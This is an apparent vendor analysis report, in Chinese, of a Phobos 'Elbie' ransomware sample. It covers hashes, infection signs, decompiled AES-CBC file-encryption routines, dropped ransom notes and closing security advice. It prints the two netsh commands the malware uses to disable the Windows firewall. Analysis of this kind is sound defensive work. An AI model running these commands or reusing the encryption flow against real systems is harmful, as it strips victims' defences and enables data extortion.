【病毒分析】phobos家族Elbie变种加密器分析报告

1.样本信息

⽂件名	Fast【phobos家族Elbie变种加密器】.exe
SHA256	e18d3d15a27ffa48cef12de79ac566bfbd96f6f4a1477e5986bc4a100227d8a3
MD5	f1ecac228e48c7b9758dacfca9356b1f
SHA1	d9f32b053310a9400fef4d68ae8a8ce70594eaad

2.感染迹象

文件被加密并重命名如下格式1.png.id[8E1EA49A-3354].[metro777@cock.li].Elbie

防火墙被关闭，利用netsh命令关闭防火墙。

3.加密文件特征

文件被加密并重命名如下格式1.png.id[8E1EA49A-3354].[metro777@cock.li].Elbie

被加密的文件的后8 Byte为固定值。

4.文件加密

int __usercall encode@<eax>(const WCHAR *a1@<edi>, int a2, int a3, const WCHAR *lpFileName, char a5)
{
  int FileW; // ebx
  DWORD FileAttributesW; // eax
  int v7; // eax
  LARGE_INTEGER FileSize; // [esp+8h] [ebp-20h] BYREF
  LARGE_INTEGER v10; // [esp+10h] [ebp-18h]
  DWORD dwFileAttributes; // [esp+1Ch] [ebp-Ch]
  DWORD v12; // [esp+20h] [ebp-8h]
  int v13; // [esp+24h] [ebp-4h]

  v13 = 0;
  FileW = (int)CreateFileW(a1, 0x80000000, 7u, 0, 3u, 0, 0);
  if ( FileW == -1 )
    return v13;
  if ( !GetFileSizeEx((HANDLE)FileW, &FileSize) )
    goto LABEL_15;
  CloseHandle((HANDLE)FileW);
  FileW = -1;
  v10 = FileSize;
  if ( FileSize.QuadPart )
  {
    FileAttributesW = GetFileAttributesW(a1);
    dwFileAttributes = FileAttributesW;
    if ( FileAttributesW != -1 )
    {
      v12 = FileAttributesW & 1;
      if ( (FileAttributesW & 1) != 0 )
        SetFileAttributesW(a1, FileAttributesW & 0xFFFFFFFE);
      v7 = (a5 & 1) != 0 || v10.QuadPart < 0x180000ui64
         ? sub_408782(a3, a1, lpFileName, a5)
         : sub_408C42(a3, a1, lpFileName, a5);
      v13 = v7;
      if ( v12 )
      {
        if ( v7 )
        {
          SetFileAttributesW(lpFileName, dwFileAttributes);
          return v13;
        }
        SetFileAttributesW(a1, dwFileAttributes);
LABEL_15:
        if ( FileW != -1 )
          CloseHandle((HANDLE)FileW);
      }
    }
  }
  return v13;
}

此函数大致逻辑为：

函数尝试使用CreateFileW打开文件，并检查操作是否成功。如果不成功，则返回
然后使用GetFileSizeEx获取文件大小，若文件为空，则关闭句柄并返回
使用GetFileAttributesW检索文件属性，检查文件属性中的只读标志，如果文件是只读的，接下来的代码会使用SetFileAttributesW函数将只读标志清除
根据文文件大小是否小于 0x180000，调用sub_408782或sub_408C42函数

此代码通过加密现有文件来创建一个新文件。该函数接受现有文件的文件名、密码和要创建的新文件的文件名称。该函数分块读取现有文件，对每个块进行加密，并将加密的块写入新文件。加密是通过使用密码和文件属性计算哈希值来完成的。哈希值用于对文件数据进行块加密。该函数还将新文件的文件属性设置为与现有文件匹配。

sub_408782函数的关键逻辑如下：

while ( ReadFile(hFile, (LPVOID)a1[8], nNumberOfBytesToRead, &nNumberOfBytesToWrite, 0) )
{
    if ( nNumberOfBytesToWrite < nNumberOfBytesToRead )
    {
        dwFlagsAndAttributes = 16 - (nNumberOfBytesToWrite & 0xF);
        sub_408FA9(nNumberOfBytesToWrite + a1[8], 0, dwFlagsAndAttributes);
        nNumberOfBytesToWrite += dwFlagsAndAttributes;
    }
    if ( !sub_406432(v16, a1[8], a1[8])
        || !WriteFile(hObject, (LPCVOID)a1[8], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0)
        || NumberOfBytesWritten != nNumberOfBytesToWrite )
    {
        break;
    }
    if ( nNumberOfBytesToWrite < nNumberOfBytesToRead )
    {
        v15 = v18;
        *v7 = 0;
        v14 = v19;
        v7[1] = 2;
        v13 = (int)v20;
        v7[2] = -257466862;
        v7[6] = 32;
        sub_408FD7(v13, v14, v15);
        sub_408FD7(v9, a1 + 1, 20);
        sub_408FD7(v9 + 20, a2, 16);
        sub_408FD7(v9 + 40, *a1 + 32, 128);
        sub_408FD7(v9 + 172, a1 + 6, 6);
        v11 = v22;
        *((_DWORD *)v9 + 9) = dwFlagsAndAttributes;
        *((_DWORD *)v9 + 42) = v11 + 178;
        if ( !sub_40669B(v17, *a1, a2) )
        {
        if ( sub_406432(v17, a1[8], a1[8]) )
        {
            sub_408FA9(v17, 0, 296);
            if ( WriteFile(hObject, (LPCVOID)a1[8], *((_DWORD *)v9 + 42), &NumberOfBytesWritten, 0) )
            {
            if ( NumberOfBytesWritten == *((_DWORD *)v9 + 42) )
            {
                if ( (a5 & 4) != 0 )
                sub_4086B7(hFile);
                if ( (a5 & 2) != 0 )
                {
                FlushFileBuffers(hFile);
                FlushFileBuffers(hObject);
                }
                v23 = 1;
            }
            }
        }
        }
        break;
    }
}

其中函数sub_406432为加密函数,a2为密钥，通过函数sub_C6669B生成加密需要使用的数据。

加密完文件内容后会加密文件的基础信息，包括文件名等信息，其中，生成密钥的a2也会被加密放入文件末尾，经过动调调试得到，加密文件内容的v16的值与加密文件信息的v17值并不相同。

在此处下断点：

被加密的数据如下：

0348F020  00 00 00 00 02 00 00 00  12 5E A7 F0 79 6F A5 46  .........^.....F
0348F030  37 80 23 35 7A 83 51 3B  20 00 00 00 9E 3F 4F 64  7.#5z.Q; ....?Od
0348F040  43 00 55 00 41 00 73 00  73 00 69 00 73 00 74 00  C.U.A.s.s.i.s.t.
0348F050  61 00 6E 00 74 00 54 00  61 00 73 00 6B 00 2E 00  a.n.t.T.a.s.k...
0348F060  78 00 6D 00 6C 00 00 00  F8 FC 14 D4 F7 93 92 4A  x.m.l..........J

其中包括当前文件的文件名CUAssistantTask.xml

查看此函数的其余变量可得到文件路径为C:\Program Files\CUAssistant\CUAssistantTask.xml

a1为结构体，包括加密缓冲区与加密需要的信息。

执行结束后删除源文件。

函数sub_408C42的加密流程与函数sub_408782一致，区别是sub_408C42是部分加密。

加密的核心算法如下，分析为aes_crypt_cbc

int __usercall sub_406A04@<eax>(unsigned __int8 *a1@<eax>, int a2@<esi>, int *a3)
{
  _DWORD *v3; // ecx
  unsigned int v4; // ebx
  _DWORD *v5; // ecx
  bool v6; // cc
  unsigned int v7; // edx
  unsigned int v8; // edi
  int v9; // edx
  int v11; // [esp+8h] [ebp-18h]
  int v12; // [esp+Ch] [ebp-14h]
  unsigned int v13; // [esp+10h] [ebp-10h]
  unsigned int v14; // [esp+10h] [ebp-10h]
  unsigned int v15; // [esp+14h] [ebp-Ch]
  unsigned int v16; // [esp+14h] [ebp-Ch]
  unsigned int v17; // [esp+14h] [ebp-Ch]
  unsigned int v18; // [esp+18h] [ebp-8h]
  int v19; // [esp+18h] [ebp-8h]
  unsigned int v20; // [esp+1Ch] [ebp-4h]
  unsigned int v21; // [esp+28h] [ebp+8h]
  unsigned int v22; // [esp+28h] [ebp+8h]

  v3 = a3[1];
  v20 = *v3 ^ (*a1 | ((a1[1] | (*(a1 + 1) << 8)) << 8));
  v18 = v3[1] ^ (a1[4] | ((a1[5] | ((a1[6] | (a1[7] << 8)) << 8)) << 8));
  v4 = v3[2] ^ (a1[8] | ((a1[9] | ((a1[10] | (a1[11] << 8)) << 8)) << 8));
  v15 = v3[3] ^ (a1[12] | ((a1[13] | ((a1[14] | (a1[15] << 8)) << 8)) << 8));
  v5 = v3 + 4;
  v11 = (*a3 >> 1) - 1;
  v6 = v11 <= 0;
  while ( !v6 )
  {
    v21 = v5[1] ^ dword_40D170[v18] ^ dword_40C570[HIBYTE(v20)] ^ dword_40CD70[BYTE1(v4)] ^ dword_40C970[BYTE2(v15)];
    v13 = v5[2] ^ dword_40D170[v4] ^ dword_40C570[HIBYTE(v18)] ^ dword_40C970[BYTE2(v20)] ^ dword_40CD70[BYTE1(v15)];
    v7 = *v5 ^ dword_40D170[v20] ^ dword_40C570[HIBYTE(v15)] ^ dword_40CD70[BYTE1(v18)] ^ dword_40C970[BYTE2(v4)];
    v16 = v5[3] ^ dword_40D170[v15] ^ dword_40C570[HIBYTE(v4)] ^ dword_40CD70[BYTE1(v20)] ^ dword_40C970[BYTE2(v18)];
    v20 = v5[4] ^ dword_40D170[v7] ^ dword_40C570[HIBYTE(v16)] ^ dword_40CD70[BYTE1(v21)] ^ dword_40C970[BYTE2(v13)];
    v18 = v5[5] ^ dword_40D170[v21] ^ dword_40C570[HIBYTE(v7)] ^ dword_40CD70[BYTE1(v13)] ^ dword_40C970[BYTE2(v16)];
    v4 = v5[6] ^ dword_40D170[v13] ^ dword_40C570[HIBYTE(v21)] ^ dword_40C970[BYTE2(v7)] ^ dword_40CD70[BYTE1(v16)];
    v5 += 8;
    v6 = --v11 <= 0;
    v15 = *(v5 - 1) ^ dword_40D170[v16] ^ dword_40C570[HIBYTE(v13)] ^ dword_40CD70[BYTE1(v7)] ^ dword_40C970[BYTE2(v21)];
  }
  v22 = v5[1] ^ dword_40D170[v18] ^ dword_40C570[HIBYTE(v20)] ^ dword_40CD70[BYTE1(v4)] ^ dword_40C970[BYTE2(v15)];
  v14 = v5[2] ^ dword_40D170[v4] ^ dword_40C570[HIBYTE(v18)] ^ dword_40C970[BYTE2(v20)] ^ dword_40CD70[BYTE1(v15)];
  v8 = *v5 ^ dword_40D170[v20] ^ dword_40C570[HIBYTE(v15)] ^ dword_40CD70[BYTE1(v18)] ^ dword_40C970[BYTE2(v4)];
  v17 = v5[3] ^ dword_40D170[v15] ^ dword_40C570[HIBYTE(v4)] ^ dword_40CD70[BYTE1(v20)] ^ dword_40C970[BYTE2(v18)];
  v19 = v5[5] ^ byte_40B448[v22] ^ ((byte_40B448[BYTE1(v14)] ^ (((byte_40B448[HIBYTE(v8)] << 8) ^ byte_40B448[BYTE2(v17)]) << 8)) << 8);
  v12 = v5[6] ^ byte_40B448[v14] ^ ((byte_40B448[BYTE1(v17)] ^ (((byte_40B448[HIBYTE(v22)] << 8) ^ byte_40B448[BYTE2(v8)]) << 8)) << 8);
  v9 = v5[7] ^ byte_40B448[v17] ^ ((byte_40B448[BYTE1(v8)] ^ (((byte_40B448[HIBYTE(v14)] << 8) ^ byte_40B448[BYTE2(v22)]) << 8)) << 8);
  *a2 = v5[4] ^ byte_40B448[v8] ^ ((byte_40B448[BYTE1(v22)] ^ (((byte_40B448[HIBYTE(v17)] << 8) ^ byte_40B448[BYTE2(v14)]) << 8)) << 8);
  *(a2 + 4) = v19;
  *(a2 + 8) = v12;
  *(a2 + 11) = HIBYTE(v12);
  *(a2 + 12) = v9;
  *(a2 + 14) = BYTE2(v9);
  *(a2 + 10) = BYTE2(v12);
  *(a2 + 15) = HIBYTE(v9);
  return 0;
}
int __usercall sub_406F2A@<eax>(unsigned __int8 *a1@<eax>, int a2@<esi>, int *a3)
{
  _DWORD *v3; // ecx
  int v4; // ebx
  unsigned int v5; // edx
  _DWORD *v6; // ecx
  bool v7; // cc
  unsigned int v8; // edx
  unsigned int v9; // edi
  int v10; // edx
  int v11; // ebx
  int v13; // [esp+8h] [ebp-18h]
  unsigned int v14; // [esp+Ch] [ebp-14h]
  int v15; // [esp+Ch] [ebp-14h]
  unsigned __int8 v16; // [esp+10h] [ebp-10h]
  unsigned int v17; // [esp+10h] [ebp-10h]
  unsigned int v18; // [esp+10h] [ebp-10h]
  unsigned int v19; // [esp+14h] [ebp-Ch]
  unsigned int v20; // [esp+14h] [ebp-Ch]
  unsigned int v21; // [esp+18h] [ebp-8h]
  unsigned int v22; // [esp+1Ch] [ebp-4h]
  int v23; // [esp+1Ch] [ebp-4h]
  unsigned int v24; // [esp+28h] [ebp+8h]
  unsigned int v25; // [esp+28h] [ebp+8h]

  v3 = (_DWORD *)a3[1];
  v22 = v3[1] ^ (a1[4] | ((a1[5] | (*((unsigned __int16 *)a1 + 3) << 8)) << 8));
  v4 = *v3 ^ (*a1 | ((a1[1] | (*((unsigned __int16 *)a1 + 1) << 8)) << 8));
  v21 = v3[2] ^ (a1[8] | ((a1[9] | ((a1[10] | (a1[11] << 8)) << 8)) << 8));
  v5 = v3[3] ^ (a1[12] | ((a1[13] | ((a1[14] | (a1[15] << 8)) << 8)) << 8));
  v6 = v3 + 4;
  v14 = v4;
  v13 = (*a3 >> 1) - 1;
  v7 = v13 <= 0;
  while ( 1 )
  {
    v16 = v5;
    if ( v7 )
      break;
    v24 = *v6 ^ dword_40C170[(unsigned __int8)v4] ^ dword_40B548[HIBYTE(v22)] ^ dword_40B948[BYTE2(v21)] ^ dword_40BD70[BYTE1(v5)];
    v19 = v6[2] ^ dword_40C170[(unsigned __int8)v21] ^ dword_40B548[HIBYTE(v5)] ^ dword_40B948[BYTE2(v4)] ^ dword_40BD70[BYTE1(v22)];
    v8 = v6[1] ^ dword_40C170[(unsigned __int8)v22] ^ dword_40B548[HIBYTE(v21)] ^ dword_40BD70[BYTE1(v4)] ^ dword_40B948[BYTE2(v5)];
    v17 = v6[3] ^ dword_40C170[v16] ^ dword_40B548[HIBYTE(v14)] ^ dword_40B948[BYTE2(v22)] ^ dword_40BD70[BYTE1(v21)];
    v14 = v6[4] ^ dword_40C170[(unsigned __int8)v24] ^ dword_40B548[HIBYTE(v8)] ^ dword_40B948[BYTE2(v19)] ^ dword_40BD70[BYTE1(v17)];
    v22 = v6[5] ^ dword_40C170[(unsigned __int8)v8] ^ dword_40B548[HIBYTE(v19)] ^ dword_40BD70[BYTE1(v24)] ^ dword_40B948[BYTE2(v17)];
    v4 = v14;
    v21 = v6[6] ^ dword_40C170[(unsigned __int8)v19] ^ dword_40B548[HIBYTE(v17)] ^ dword_40B948[BYTE2(v24)] ^ dword_40BD70[BYTE1(v8)];
    v6 += 8;
    v7 = --v13 <= 0;
    v5 = *(v6 - 1) ^ dword_40C170[(unsigned __int8)v17] ^ dword_40B548[HIBYTE(v24)] ^ dword_40B948[BYTE2(v8)] ^ dword_40BD70[BYTE1(v19)];
  }
  v25 = *v6 ^ dword_40C170[(unsigned __int8)v4] ^ dword_40B548[HIBYTE(v22)] ^ dword_40B948[BYTE2(v21)] ^ dword_40BD70[BYTE1(v5)];
  v9 = v6[1] ^ dword_40C170[(unsigned __int8)v22] ^ dword_40B548[HIBYTE(v21)] ^ dword_40BD70[BYTE1(v4)] ^ dword_40B948[BYTE2(v5)];
  v20 = v6[2] ^ dword_40C170[(unsigned __int8)v21] ^ dword_40B548[HIBYTE(v5)] ^ dword_40B948[BYTE2(v4)] ^ dword_40BD70[BYTE1(v22)];
  v18 = v6[3] ^ dword_40C170[(unsigned __int8)v5] ^ dword_40B548[HIBYTE(v14)] ^ dword_40B948[BYTE2(v22)] ^ dword_40BD70[BYTE1(v21)];
  v15 = v6[4] ^ (unsigned __int8)byte_40D570[*(_BYTE *)v6 ^ LOBYTE(dword_40C170[(unsigned __int8)v4]) ^ LOBYTE(dword_40B548[HIBYTE(v22)]) ^ LOBYTE(dword_40B948[BYTE2(v21)]) ^ LOBYTE(dword_40BD70[BYTE1(v5)])] ^ (((unsigned __int8)byte_40D570[BYTE1(v18)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v9)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v20)]) << 8)) << 8);
  v23 = v6[5] ^ (unsigned __int8)byte_40D570[*((_BYTE *)v6 + 4) ^ LOBYTE(dword_40C170[(unsigned __int8)v22]) ^ LOBYTE(dword_40B548[HIBYTE(v21)]) ^ LOBYTE(dword_40BD70[BYTE1(v4)]) ^ LOBYTE(dword_40B948[BYTE2(v5)])] ^ (((unsigned __int8)byte_40D570[BYTE1(v25)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v20)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v18)]) << 8)) << 8);
  v10 = v6[6] ^ (unsigned __int8)byte_40D570[(unsigned __int8)v20] ^ (((unsigned __int8)byte_40D570[BYTE1(v9)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v18)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v25)]) << 8)) << 8);
  v11 = v6[7] ^ (unsigned __int8)byte_40D570[(unsigned __int8)v18] ^ (((unsigned __int8)byte_40D570[BYTE1(v20)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v25)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v9)]) << 8)) << 8);
  *(_DWORD *)a2 = v15;
  *(_WORD *)(a2 + 4) = v23;
  *(_BYTE *)(a2 + 7) = HIBYTE(v23);
  *(_BYTE *)(a2 + 9) = BYTE1(v10);
  *(_BYTE *)(a2 + 10) = BYTE2(v10);
  *(_WORD *)(a2 + 12) = v11;
  *(_BYTE *)(a2 + 8) = v10;
  *(_BYTE *)(a2 + 14) = BYTE2(v11);
  *(_BYTE *)(a2 + 15) = HIBYTE(v11);
  *(_BYTE *)(a2 + 6) = BYTE2(v23);
  *(_BYTE *)(a2 + 11) = HIBYTE(v10);
  return 0;
}
int __cdecl sub_407447(_DWORD *a1, int a2, _BYTE *a3, _DWORD *a4)
{
  int v4; // ecx
  char *v5; // eax
  unsigned int v7; // ebx
  _BYTE *v8; // eax
  int v9; // esi
  int v10; // ebx
  _DWORD *v11; // esi
  _BYTE *v12; // eax
  int v13; // ecx
  _DWORD *v14; // esi
  bool v15; // zf
  int v16; // [esp+0h] [ebp-18h]
  int v17; // [esp+4h] [ebp-14h]
  int v18; // [esp+8h] [ebp-10h]
  int v19; // [esp+Ch] [ebp-Ch]
  int v20; // [esp+10h] [ebp-8h]
  unsigned int v21; // [esp+10h] [ebp-8h]
  int *v22; // [esp+14h] [ebp-4h]

  v5 = (char *)(a1 + 2);
  if ( (v4 & 0xF) != 0 )
    return -34;
  if ( a2 )
  {
    if ( v4 )
    {
      v10 = v5 - a3;
      v21 = ((unsigned int)(v4 - 1) >> 4) + 1;
      do
      {
        v11 = a4;
        v12 = a3;
        v13 = 16;
        do
        {
          v12[(char *)a4 - a3] = *v12 ^ v12[v10];
          ++v12;
          --v13;
        }
        while ( v13 );
        if ( a2 == 1 )
          sub_406A04(a1);
        else
          sub_406F2A(a1);
        a3 += 16;
        a4 += 4;
        a1[2] = *v11;
        v14 = v11 + 1;
        a1[3] = *v14++;
        a1[4] = *v14;
        v10 -= 16;
        v15 = v21-- == 1;
        a1[5] = v14[1];
      }
      while ( !v15 );
    }
  }
  else if ( v4 )
  {
    v22 = (int *)a3;
    v20 = v5 - (char *)a4;
    v7 = ((unsigned int)(v4 - 1) >> 4) + 1;
    do
    {
      v16 = *v22;
      v17 = v22[1];
      v18 = v22[2];
      v19 = v22[3];
      sub_406F2A(a1);
      v8 = a4;
      v9 = 16;
      do
      {
        *v8 ^= v8[v20];
        ++v8;
        --v9;
      }
      while ( v9 );
      v22 += 4;
      v20 -= 16;
      --v7;
      a1[2] = v16;
      a1[3] = v17;
      a1[4] = v18;
      a1[5] = v19;
      a4 = v8;
    }
    while ( v7 );
  }
  return 0;
}

上述代码可以解释为：

int aes_crypt_cbc( aes_context *ctx,
                    int mode,
                    const unsigned char iv[16],
                    const unsigned char *input,
                    unsigned char *output,
                    unsigned int length )
{
    int i;
    unsigned char temp[16];
    if( length % 16 )
        return( POLARSSL_ERR_AES_INVALID_INPUT_LENGTH );
# 510 "aes.c"
    if( mode == AES_DECRYPT )
    {
        while( length > 0 )
        {
            memcpy( temp, input, 16 );
            aes_crypt_ecb( ctx, AES_DECRYPT, input, output );
            for( i = 0; i < 16; i++ )
                output[i] = (unsigned char)( output[i] ^ iv[i] );
            memcpy( iv, temp, 16 );
            input  += 16;
            output += 16;
            length -= 16;
        }
    }
    else
    {
        while( length > 0 )
        {
            for( i = 0; i < 16; i++ )
                output[i] = (unsigned char)( input[i] ^ iv[i] );
            aes_crypt_ecb( ctx, AES_ENCRYPT, output, output );
            memcpy( iv, output, 16 );
            input  += 16;
            output += 16;
            length -= 16;
        }
    }
    return( 0 );
}

使用AES算法在CBC模式下对输入数据进行加密。

在函数sub_40646A生成AES算法中所需的S-Box、Rcon（轮常数）和变换表的函数。

int sub_40646A()
{
  int v0; // ecx
  int v1; // ebx
  int v2; // eax
  int v3; // eax
  int *v4; // ecx
  int v5; // eax
  int v6; // ecx
  int v7; // edx
  int v8; // eax
  int v9; // ecx
  int v10; // eax
  int v11; // edi
  int v12; // edx
  int v13; // eax
  int v14; // ecx
  int v15; // eax
  int v16; // eax
  int v17; // edx
  int v18; // edx
  int v19; // edx
  int v20; // eax
  int result; // eax
  int v22[255]; // [esp+Ch] [ebp-80Ch]
  char v23[40]; // [esp+408h] [ebp-410h]
  int v24; // [esp+430h] [ebp-3E8h]
  int v25; // [esp+438h] [ebp-3E0h]
  int v26; // [esp+440h] [ebp-3D8h]
  int v27; // [esp+444h] [ebp-3D4h]
  int v28; // [esp+80Ch] [ebp-Ch]
  int v29; // [esp+810h] [ebp-8h]
  int v30; // [esp+814h] [ebp-4h]

  v0 = 0;
  v1 = 1;
  v2 = 1;
  do
  {
    v22[v0] = v2;
    *(_DWORD *)&v23[4 * v2 + 4] = v0;
    v2 = (unsigned __int8)((2 * v2) ^ ((char)(v2 & 0x80) != 0 ? 0x1B : 0) ^ v2);
    ++v0;
  }
  while ( v0 < 256 );
  v3 = 1;
  v4 = &dword_40BD48;
  do
  {
    *v4++ = v3;
    v3 = (unsigned __int8)(((char)(v3 & 0x80) != 0 ? 0x1B : 0) ^ (2 * v3));
  }
  while ( (int)v4 < (int)dword_40BD70 );
  byte_40B448[0] = 99;
  byte_40D5D3 = 0;
  do
  {
    v5 = *(_DWORD *)&v23[-4 * *(_DWORD *)&v23[4 * v1 + 4]];
    v6 = (unsigned __int8)((2 * v5) | (v5 >> 7));
    v7 = (unsigned __int8)((2 * v6) | (v6 >> 7));
    v8 = v7 ^ v6 ^ v5;
    v9 = (unsigned __int8)((2 * v7) | (v7 >> 7));
    v10 = (unsigned __int8)((2 * v9) | (v9 >> 7)) ^ 0x63 ^ v9 ^ v8;
    byte_40B448[v1] = v10;
    byte_40D570[v10] = v1++;
  }
  while ( v1 < 256 );
  v11 = 0;
  do
  {
    v12 = (unsigned __int8)byte_40B448[v11];
    v13 = (unsigned __int8)((2 * v12) ^ ((char)(byte_40B448[v11] & 0x80) != 0 ? 0x1B : 0)) ^ ((v12 ^ ((v12 ^ ((v12 ^ (unsigned __int8)((2 * v12) ^ ((char)(byte_40B448[v11] & 0x80) != 0 ? 0x1B : 0))) << 8)) << 8)) << 8);
    v14 = v11;
    dword_40D170[v11] = v13;
    v15 = __ROL4__(v13, 8);
    dword_40CD70[v11] = v15;
    v16 = __ROL4__(v15, 8);
    dword_40C970[v11] = v16;
    dword_40C570[v11] = __ROL4__(v16, 8);
    if ( byte_40D570[v11] )
      v30 = v22[(v27 + *(_DWORD *)&v23[4 * (unsigned __int8)byte_40D570[v11] + 4]) % 255];
    else
      v30 = 0;
    if ( byte_40D570[v11] )
      v28 = v22[(v24 + *(_DWORD *)&v23[4 * (unsigned __int8)byte_40D570[v11] + 4]) % 255];
    else
      v28 = 0;
    if ( byte_40D570[v11] )
      v29 = v22[(v26 + *(_DWORD *)&v23[4 * (unsigned __int8)byte_40D570[v11] + 4]) % 255];
    else
      v29 = 0;
    if ( byte_40D570[v11] )
      v17 = v22[(v25 + *(_DWORD *)&v23[4 * (unsigned __int8)byte_40D570[v11] + 4]) % 255];
    else
      v17 = 0;
    v18 = v30 ^ ((v28 ^ ((v29 ^ (v17 << 8)) << 8)) << 8);
    ++v11;
    dword_40C170[v14] = v18;
    v19 = __ROL4__(v18, 8);
    dword_40BD70[v14] = v19;
    v20 = __ROL4__(v19, 8);
    dword_40B948[v14] = v20;
    result = __ROL4__(v20, 8);
    dword_40B548[v14] = result;
  }
  while ( v11 < 256 );
  return result;
}

5.其余行为

5.1自拷贝

程序会将自身拷贝到系统关键目录。

5.2文件释放

释放了2个文件info.txt和info.hta，均为勒索信息。

5.3关闭防火墙

执行了下列2个语句。

netsh  advfirewall set currentprofile state off
netsh  firewall set opmode mode=disable

6.安全建议

6.1 风险消减措施

资产梳理排查目标:根据实际情况，对内外网资产进行分时期排查

服务方式:调研访谈、现场勘查、工具扫描

服务关键内容：流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

6.2 安全设备调优

目标

通过对安全现状的梳理和分析，识别安全策略上的不足，结合目标防御、权限最小化、缩小攻击面等一系列参考原则，对设备的相关配置策略进行改进调优，一方面，减低无效或低效规则的出现频次；另一方面，对缺失或遗漏的规则进行补充，实现将安全设备防护能力最优化。

主要目标设备

网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

6.3 全员安全意识增强调优

目标：

通过网络安全意识宣贯、培训提升全方位安全能力

形式：

培训及宣贯

线下培训课表

若无法组织线下的集体培训，考虑两种方式:

1.提供相关的安全意识培训材料，由上而下分发学习

2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

7.团队介绍

团队坚持自主研发及创新，在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入，目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系、ITSS（信息技术服务运行维护标准四级）等认证，已构建了网络安全行业合格的资质体系；